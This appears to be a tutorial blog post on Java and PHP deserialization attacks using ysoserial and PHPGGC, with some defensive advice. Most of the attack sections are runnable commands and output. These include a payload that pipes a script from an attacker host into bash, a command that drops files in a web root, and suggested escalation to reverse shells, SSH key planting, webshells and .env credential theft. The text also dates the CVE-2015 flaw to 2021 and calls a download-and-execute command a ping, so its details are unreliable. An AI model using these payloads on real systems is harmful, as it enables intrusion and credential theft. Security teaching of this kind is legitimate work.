In 2021, the Apache Commons Collections vulnerability let attackers serialize a malicious Java object, send it to a vulnerable endpoint, and get a shell — no authentication required. CVE-2015-4852 and its relatives have burned enterprises for over a decade. The root cause is always the same: an application deserializes untrusted data and a gadget chain — a sequence of existing classes that, when chained together, execute attacker-controlled code.
\n\n
How Java Gadget Chains Actually Work
\n\n
A gadget chain isn’t custom malware. It’s a sequence of legitimate classes already on the classpath that, when instantiated in the right order, end up calling something dangerous like Runtime.exec(). The attacker’s job is finding the right chain for the libraries the target has loaded.
\n\n
ysoserial is the standard tool for generating these payloads — it packages known gadget chains into serialized Java objects you can send directly to a vulnerable endpoint.
\n\n
# Generate a CommonsCollections6 payload that pings attacker host\njava -jar ysoserial.jar CommonsCollections6 'curl http://192.0.2.99/shell.sh | bash' > payload.ser\n\n# Send it to a vulnerable Java deserialization endpoint\ncurl -s -X POST http://192.0.2.45:8080/api/session/restore \\\n -H 'Content-Type: application/x-java-serialized-object' \\\n --data-binary @payload.ser\n\n# On attacker's listener (192.0.2.99), you see:\n192.0.2.45 - - [18/Oct/2026 09:14:32] \"GET /shell.sh HTTP/1.1\" 200 -
\n\n
That GET request to your server confirms code execution. The target app deserialized your object, walked the gadget chain, and called curl as the application user. On 192.0.2.45 you now have a foothold running as whatever account owns the Java process — often tomcat or app.
\n\n
The chain that fired here is CommonsCollections6: it uses HashSet → HashMap → TiedMapEntry → LazyMap → ChainedTransformer → InvokerTransformer, ultimately reaching Runtime.exec(). Every class in that chain ships with Apache Commons Collections. The application developer never wrote a single malicious line.
\n\n
Next step for an attacker: swap the curl command for a reverse shell, or use --data-binary with a payload that writes an SSH key to ~/.ssh/authorized_keys. For a defender, the first question is: what classpath does this JVM have? Strip unused libraries. Patch Commons Collections. Use Java agent-based deserialization filters (jdk.serialFilter) to whitelist allowed classes.
\n\n
PHP Deserialization and PHPGGC Chains
\n\n
PHP’s unserialize() is the equivalent landmine. When PHP deserializes an object, it calls magic methods like __wakeup() and __destruct() automatically. If the codebase uses a framework — Laravel, Symfony, Guzzle — those magic methods often exist in classes that can be chained toward file writes or system calls.
\n\n
PHPGGC (PHP Generic Gadget Chains) is to PHP what ysoserial is to Java. It knows the gadget chains for dozens of popular frameworks.
\n\n
# List available chains for Laravel
php phpggc -l | grep Laravel
# Output:
Laravel/RCE1 Laravel 5.4.27 RCE: Command
Laravel/RCE2 Laravel 5.5.39 RCE: Command
Laravel/RCE5 Laravel 5.8.30 RCE: Command
# Generate a Laravel/RCE5 payload
php phpggc Laravel/RCE5 system 'id > /var/www/html/pwned.txt' -b
# Output (base64-encoded serialized object):
TzozNDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5O...
# Inject it into a vulnerable cookie or POST param:
curl -s http://192.0.2.112/profile \
-H 'Cookie: user_session=TzozNDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5O...' \
| grep -i pwned
# Then check for the file drop:
curl -s http://192.0.2.112/pwned.txt
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
\n\n
That uid=33(www-data) response means the server executed id and wrote the output to a web-accessible file. You have confirmed RCE as www-data on 192.0.2.112. The Laravel/RCE5 chain here works through PendingBroadcast.__destruct() → BroadcastEvent → QueuedCommand.handle() → Artisan::call(), eventually reaching a system call.
\n\n
Attackers escalate from here by writing a webshell to the document root, reading .env for database credentials, or pivoting to internal services. Defenders need to audit every endpoint that calls unserialize() on user-supplied data — and in most cases, replace it with json_decode(). If you must deserialize, use a whitelist approach with allowed_classes in unserialize()‘s second parameter.
\n\n
Spotting Vulnerable Endpoints Fast
\n\n
Before running any payload, you need to confirm an endpoint actually deserializes your input. Java serialized streams start with the magic bytes AC ED 00 05. PHP serialized strings start with O: (object) or a: (array). A quick content sniff tells you what you’re dealing with.
\n\n
# Capture a session token, base64-decode it, check magic bytes\necho 'rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldA==' | base64 -d | xxd | head -2\n\n# Output:\n00000000: aced 0005 7372 0011 6a61 7661 2e75 7469 ....sr..java.uti\n00000008: 6c2e 4861 7368 5365 7420 da1c da7b 8c45 l.HashSet ..{.E
\n\n
aced 0005 — that’s a live Java serialized object sitting in a session cookie. The application is deserializing it on every request. Pull the classpath (from an LFI, a verbose error, or a known framework path), match it against ysoserial’s supported chains, and you have your attack path.
\n\n
What To Do Now
\n\n
Pull every endpoint in one application you own and run echo <cookie_value> | base64 -d | xxd | head -1 against the session tokens. If you see ac ed 00 05 or a PHP O: prefix in anything touching user input, you have a deserialization surface that needs immediate review. Add jdk.serialFilter to your JVM flags for Java apps, and replace bare unserialize() calls in PHP with json_decode() or strict allowlisted deserialization today.
